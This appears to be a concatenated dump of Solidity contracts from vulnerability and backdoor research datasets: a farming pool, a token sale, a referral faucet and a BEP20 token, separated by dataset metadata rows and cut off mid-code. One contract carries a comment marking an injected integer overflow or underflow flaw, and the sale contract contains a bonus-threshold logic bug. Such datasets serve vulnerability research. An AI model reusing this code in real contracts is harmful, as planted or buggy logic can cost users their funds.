set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { admin = msg.sender; } modifier onlyOwner() { require(msg.sender == admin); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract VAPEPOOL2 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); //token contract addresses address public VAPEAddress; address public LPTokenAddress; // reward rate % per year uint public rewardRate = 119880; uint public rewardInterval = 365 days; //farming fee in percentage uint public farmingFeeRate = 0; //unfarming fee in percentage uint public unfarmingFeeRate = 0; //unfarming possible Time uint public PossibleUnfarmTime = 48 hours; uint public totalClaimedRewards = 0; uint private ToBeFarmedTokens; bool public farmingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public farmingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); VAPEAddress = _tokenAddr; LPTokenAddress = _liquidityAddr; } function farmingFeeRateSet(uint _farmingFeeRate, uint _unfarmingFeeRate) public onlyOwner returns(bool){ farmingFeeRate = _farmingFeeRate; unfarmingFeeRate = _unfarmingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ ToBeFarmedTokens = _poolreward; } function possibleUnfarmTimeSet(uint _possibleUnfarmTime) public onlyOwner returns(bool){ PossibleUnfarmTime = _possibleUnfarmTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowFarming(bool _status) public onlyOwner returns(bool){ require(VAPEAddress != address(0) && LPTokenAddress != address(0), "Interracting token addresses are not yet configured"); farmingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == VAPEAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(VAPEAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToFarm) public { require(farmingStatus == true, "Staking is not yet initialized"); require(amountToFarm > 0, "Cannot deposit 0 Tokens"); require(Token(LPTokenAddress).transferFrom(msg.sender, address(this), amountToFarm), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToFarm.mul(farmingFeeRate).div(1e4); uint amountAfterFee = amountToFarm.sub(fee); require(Token(LPTokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); farmingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(farmingTime[msg.sender]) > PossibleUnfarmTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unfarmingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPTokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(LPTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimRewards() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= ToBeFarmedTokens) { return 0; } uint remaining = ToBeFarmedTokens.sub(totalClaimedRewards); return remaining; } }
280,137
12,141
f9ebbc63696c325891c00f8cb669f6cd0053229142297d2fb324787f77664b18
21,411
.sol
Solidity
false
360539372
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
1d65472e1c546af6781cb17991843befc635a28e
dataset/dapp_contracts/Game/0x050163597d9905ba66400f7b3ca8f2ef23df702d.sol
3,305
14,908
pragma solidity ^0.4.19; interface ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract Owned { address owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract ChiSale is Owned { // For simplicity reasons, all values are calculated using uint256. Both // values could technically be reduced to a lower bit value: percentage // fits in `uint8`, and threshold fits within `uint64`. This contract is // not optimized for storage and does not use bit packing to store multiple // smaller `uint` values in a single larger `uint`. struct BonusTier { uint256 percentage; uint256 threshold; } // The list of bonus tiers is set at contract construction and does not // mutate. BonusTier[] private bonusTiers; // The number of sold tokens is to keep track of the active bonus tier. The // number is updated every time a purchase is made. uint256 private tokensSold; // The bonus index is always up-to-date with the latest bonus tier. It is // automatically updated when a new threshold is hit. uint8 private bonusIndex; // The maximum bonus threshold indicated the threshold of the final bonus // tier. This is also the maximum number of tokens a buyer is able to // purchase. uint256 private maxBonusThreshold; // The price per CHI token is constant, and equal to the value determined // by the Aethian Crystal Bank: 0.001 ether per CHI, which is equal to 1 // ether for 1000 CHI. uint256 private constant TOKEN_PRICE = 0.001 ether; // The revenue share percentage is the percentage that the referrer of the // buyer receives, after the buyer makes a purchase using their address as // referral address. The referral address is the address that receives the // revenue share percentage. uint256 private constant REVENUE_SHARE_PERCENTAGE = 22; // The CHI token contract implements ERC-20. ERC20 private chiContract; // Log the CHI purchase event. The purchase events are filterable by buyer // and referrer to allow for quick look-ups for specific users. event LogChiPurchase(address indexed buyer, address indexed referrer, uint256 number, uint256 timestamp); function ChiSale(address chiAddress, uint256[] bonusThresholds, uint256[] bonusPercentages) public Owned() { // Explicitly check the lengths of the bonus percentage and threshold // arrays to prevent human error. This does not prevent the creator // from inputting the wrong numbers, however. require(bonusThresholds.length == bonusPercentages.length); // Explicitly check that the number of bonus tiers is less than 256, as // it should fit within the 8 bit unsigned integer value that is used // as the index counter. require(bonusThresholds.length < 256); // Loop through one array, whilst simultaneously reading data from the // other array. This is possible because both arrays are of the same // length, as checked in the line above. for (uint8 i = 0; i < bonusThresholds.length; i++) { // Guard against human error, by checking that the new bonus // threshold is always a higher value than the previous threshold. if (i > 0) { require(bonusThresholds[i] > bonusThresholds[i - 1]); } // It is already guaranteed that bonus thresholds are in ascending // order. For this reason, the maximum bonus threshold can be set // by selecting the final value in the bonus thresholds array. if (i > bonusThresholds.length - 1) { maxBonusThreshold = bonusThresholds[i]; } bonusTiers.push(BonusTier({ percentage: bonusPercentages[i], threshold: bonusThresholds[i] })); } // The CHI token contract address is passed as argument to allow for // easier testing on the development and testing networks. chiContract = ERC20(chiAddress); // The default value of an unsigned integer is already zero, however, // for verbosity and readability purposes, both counters are explicitly // set to zero. tokensSold = 0; bonusIndex = 0; } function buy(address referralAddress) external payable { // Calculate the number of tokens to buy. This can be 0, if the buyer // sends an ether value that is less than the price indicated by // `TOKEN_PRICE`. uint256 tokensToBuy = msg.value / TOKEN_PRICE; // Get the current CHI token balance of this contract. If this number // is zero, no more tokens can will be sold. uint256 tokenBalance = chiContract.balanceOf(address(this)); // A buyer can send more than the required amount for buying a number // of tokens. In this case the remainder is calculated, that will be // sent back at the end of the transaction. uint256 remainder = msg.value % TOKEN_PRICE; // Explicitly guard against the scenario wherein human error occurs, // and fewer tokens have been transferred to the contract than dictated // by the bonus tiers. This situation can still be resolved at a later // date by calling `resetMaxBonusThreshold`. if (maxBonusThreshold < tokenBalance) { maxBonusThreshold = tokenBalance; } // A scenario is possible wherein a buyer attempts to buy more tokens // than the contract is offering. In this case the purchase is limited // to the available number of tokens. if (tokensToBuy > maxBonusThreshold) { tokensToBuy = maxBonusThreshold; // The actual number of tokens that can be bought is multiplied by // the token price to calculate the actual purchase price of the // transaction. This is then subtracted from the total value of // ether sent in the transaction to end up with the remainder that // will be sent back to the buyer. remainder = msg.value - tokensToBuy * TOKEN_PRICE; } // The sale contract has a bonus structure. The number of bonus tokens // is calculated in a different method. This method will always return // a number (of bonus tokens) without error; this number can be zero. uint256 bonusTokens = calculateBonusTokens(tokensToBuy); // Update the number of tokens sold. This number does not include the // number of bonus tokens that were given out, only the number of // tokens that were 'bought'. tokensSold += tokensToBuy; // Guard against transfers where the contract attempts to transfer more // CHI tokens than it has available. In reality, this can never occur // as the proper amount of tokens should have been deposited within the // contract in accordance to the number calculated by the Python script // linked above. This is simply a guard against human error. if (tokenBalance < tokensToBuy + bonusTokens) { chiContract.transfer(msg.sender, tokenBalance); } else { chiContract.transfer(msg.sender, tokensToBuy + bonusTokens); } // The referral address has a default value set to the contract address // of this CHI sale contract in the web application. The application // changes this value to a different referral address if a special link // is followed. If the referral address does not equal this contract's // address, the revenue share percentage is paid out to that address. if (referralAddress != address(this) && referralAddress != address(0)) { // The value `msg.value * REVENUE_SHARE_PERCENTAGE / 100` is always // guaranteed to be a valid number (i.e. accepted by the `transfer` // method). The value cannot overflow as the maximum number of Wei // in `msg.value` fits in 128 bits. Multiplying this number by // `REVENUE_SHARE_PERCENTAGE` still safely fits within the current // 256 bit range. The value is sent using `send` to make sure the // purchase does not fail if someone uses an invalid address. referralAddress.send(msg.value * REVENUE_SHARE_PERCENTAGE / 100); } // In the case where a buyer sent in too much ether, or there weren't // enough tokens available, the remaining ether is sent back to the // buyer. if (remainder > 0) { msg.sender.transfer(remainder); } LogChiPurchase(msg.sender, referralAddress, tokensToBuy, now); } function resetMaxBonusThreshold() external onlyOwner { maxBonusThreshold = bonusTiers[bonusTiers.length - 1].threshold; } function withdrawEther() external onlyOwner { // The transfer method cannot fail with the current given input, as a // transfer of 0 Wei is also a valid transfer call. msg.sender.transfer(address(this).balance); } function withdrawChi() external onlyOwner { // This CHI transfer cannot fail as the available balance is first // retrieved from the CHI token contract. The deterministic nature of // the Ethereum blockchain guarantees that no other operations occur // in between the balance retrieval call and the transfer call. chiContract.transfer(msg.sender, chiContract.balanceOf(address(this))); } function getBonusTierCount() external view returns (uint256) { return bonusTiers.length; } function getBonusTier(uint8 bonusTierIndex) external view returns (uint256, uint256) { return (bonusTiers[bonusTierIndex].percentage, bonusTiers[bonusTierIndex].threshold); } function getCurrentBonusTier() external view returns (uint256 percentage, uint256 threshold) { return (bonusTiers[bonusIndex].percentage, bonusTiers[bonusIndex].threshold); } function getNextBonusIndex() external view returns (uint8) { return bonusIndex + 1; } function getSoldTokens() external view returns (uint256) { return tokensSold; } function calculateBonusTokens(uint256 boughtTokens) internal returns (uint256) { // Immediate return if all bonus tokens have already been handed out. if (bonusIndex == bonusTiers.length) { return 0; } // The number of bonus tokens always starts at zero. If the buyer does // not hit any of the bonus thresholds, or if the buyer buys a low // number of tokens that causes the bonus to round down to zero, this // zero value is returned. uint256 bonusTokens = 0; // Copy the number of bought tokens to an `lvalue` to allow mutation. uint256 _boughtTokens = boughtTokens; // Copy the number of sold tokens to an `lvalue` to allow mutation. uint256 _tokensSold = tokensSold; while (_boughtTokens > 0) { uint256 threshold = bonusTiers[bonusIndex].threshold; uint256 bonus = bonusTiers[bonusIndex].percentage; // There are two possible scenarios for the active bonus tier: // 1: the buyer purchases equal or more CHI tokens than available // in the current bonus tier; and // 2: the buyer purchases less CHI tokens than available in the // current bonus tier. if (_tokensSold + _boughtTokens >= threshold) { // The number of remaining tokens within the threshold is equal // to the threshold minus the number of tokens that have been // sold already. _boughtTokens -= threshold - _tokensSold; // The number of bonus tokens is equal to the remaining number // of tokens in the bonus tier multiplied by the bonus tier's // percentage. A different bonus will be calculated for the // remaining bought tokens. The number is first multiplied by // the bonus percentage to work to the advantage of the buyer, // as the minimum number of tokens that need to be bought for a // bonus to be counted would be equal to `100 / bonus` (rounded // down), in comparison to requiring a minimum of 100 tokens in // the other case. bonusTokens += (threshold - _tokensSold) * bonus / 100; // The number of sold tokens is 'normally' incremented by the // number of tokens that have been bought (in that bonus tier). // However, when all remaining tokens in a bonus tier are // purchased, the resulting operation looks as follows: // _tokensSold = _tokensSold + (threshold - _tokensSold) // which can be simplified to the current operation. _tokensSold = threshold; // If the bonus tier limit has not been reached, the bonus // index is incremented, because all tokens in the current // bonus tier have been sold. if (bonusIndex < bonusTiers.length) { bonusIndex += 1; } } else { // In the case where the number of bought tokens does not hit // the bonus threshold. No bonus changes have to be made, and // the number of sold tokens can be incremented by the bought // number of tokens. _tokensSold += _boughtTokens; // The number of bonus tokens is equal to the number of bought // tokens multiplied by the bonus factor of the active bonus // tier. bonusTokens += _boughtTokens * bonus / 100; // Reset the bought tokens to zero. _boughtTokens = 0; } } return bonusTokens; } }
335,504
12,142
a70911979f473b79c95e61c183b210ca7453b7ea40ffdf921b3e3e00c80440fe
20,046
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0x87d9ef8951de64b7246fdb7c7d5a52760677f361.sol
3,094
11,225
pragma solidity ^0.4.25; // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: eth-token-recover/contracts/TokenRecover.sol contract TokenRecover is Ownable { function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: contracts/faucet/TokenFaucet.sol contract TokenFaucet is TokenRecover { using SafeMath for uint256; // struct representing the faucet status for an account struct RecipientDetail { bool exists; uint256 tokens; uint256 lastUpdate; address referral; } // struct representing the referral status struct ReferralDetail { uint256 tokens; address[] recipients; } // the time between two tokens claim uint256 private _pauseTime = 1 days; // the token to distribute ERC20 private _token; // the daily rate of tokens distributed uint256 private _dailyRate; // the value earned by referral per mille uint256 private _referralPerMille; // the sum of distributed tokens uint256 private _totalDistributedTokens; // map of address and received token amount mapping (address => RecipientDetail) private _recipientList; // list of addresses who received tokens address[] private _recipients; // map of address and referred addresses mapping (address => ReferralDetail) private _referralList; constructor(address token, uint256 dailyRate, uint256 referralPerMille) public { require(token != address(0)); require(dailyRate > 0); require(referralPerMille > 0); _token = ERC20(token); _dailyRate = dailyRate; _referralPerMille = referralPerMille; } function () external payable { require(msg.value == 0); getTokens(); } function getTokens() public { // distribute tokens _distributeTokens(msg.sender, address(0)); } function getTokensWithReferral(address referral) public { require(referral != msg.sender); // distribute tokens _distributeTokens(msg.sender, referral); } function token() public view returns (ERC20) { return _token; } function dailyRate() public view returns (uint256) { return _dailyRate; } function referralTokens() public view returns (uint256) { return _dailyRate.mul(_referralPerMille).div(1000); } function totalDistributedTokens() public view returns (uint256) { return _totalDistributedTokens; } function receivedTokens(address account) public view returns (uint256) { return _recipientList[account].tokens; } function lastUpdate(address account) public view returns (uint256) { return _recipientList[account].lastUpdate; } function nextClaimTime(address account) public view returns (uint256) { return !_recipientList[account].exists ? 0 : _recipientList[account].lastUpdate + _pauseTime; } function getReferral(address account) public view returns (address) { return _recipientList[account].referral; } function earnedByReferral(address account) public view returns (uint256) { return _referralList[account].tokens; } function getReferredAddresses(address account) public view returns (address[]) { return _referralList[account].recipients; } function getReferredAddressesLength(address account) public view returns (uint) { return _referralList[account].recipients.length; } function remainingTokens() public view returns (uint256) { return _token.balanceOf(this); } function getRecipientAddress(uint256 index) public view returns (address) { return _recipients[index]; } function getRecipientsLength() public view returns (uint) { return _recipients.length; } function setRates(uint256 newDailyRate, uint256 newReferralPerMille) public onlyOwner { require(newDailyRate > 0); require(newReferralPerMille > 0); _dailyRate = newDailyRate; _referralPerMille = newReferralPerMille; } function _distributeTokens(address account, address referral) internal { require(nextClaimTime(account) <= block.timestamp); // solium-disable-line security/no-block-members // check if recipient exists if (!_recipientList[account].exists) { _recipients.push(account); _recipientList[account].exists = true; // check if valid referral if (referral != address(0)) { _recipientList[account].referral = referral; _referralList[referral].recipients.push(account); } } // update recipient status _recipientList[account].lastUpdate = block.timestamp; // solium-disable-line security/no-block-members _recipientList[account].tokens = _recipientList[account].tokens.add(_dailyRate); // update faucet status _totalDistributedTokens = _totalDistributedTokens.add(_dailyRate); // transfer tokens to recipient _token.transfer(account, _dailyRate); // check referral if (_recipientList[account].referral != address(0)) { // referral is only the first one referring address firstReferral = _recipientList[account].referral; uint256 referralEarnedTokens = referralTokens(); // update referral status _referralList[firstReferral].tokens = _referralList[firstReferral].tokens.add(referralEarnedTokens); // update faucet status _totalDistributedTokens = _totalDistributedTokens.add(referralEarnedTokens); // transfer tokens to referral _token.transfer(firstReferral, referralEarnedTokens); } } }
147,236
12,143
8e4b548f43671a3130fdd689e541cdab04c7d9c942eea6588031140048486b03
31,691
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x150B6Ec1Ad5977Ddd7642935594c2Bd60561ea7C/contract.sol
3,661
14,690
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AbyToken is Context, IBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "AbyToken"; _symbol = "ABY"; _decimals = 18; _totalSupply = 1000000000000000000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function getOwner() override external view returns (address) { return owner(); } function decimals() override external view returns (uint8) { return _decimals; } function symbol() override external view returns (string memory) { return _symbol; } function name() override external view returns (string memory) { return _name; } function totalSupply() override external view returns (uint256) { return _totalSupply; } function balanceOf(address account) override external view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) override external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) override external view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) override external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) override external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function mint(address addr, uint256 amount) public onlyOwner returns (bool) { _mint(addr, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address aby, bytes memory data) internal returns (bytes memory) { return functionCall(aby, data, "Address: low-level call failed"); } function functionCall(address aby, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(aby, data, 0, errorMessage); } function functionCallWithValue(address aby, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(aby, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address aby, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(aby), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = aby.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address aby, bytes memory data) internal view returns (bytes memory) { return 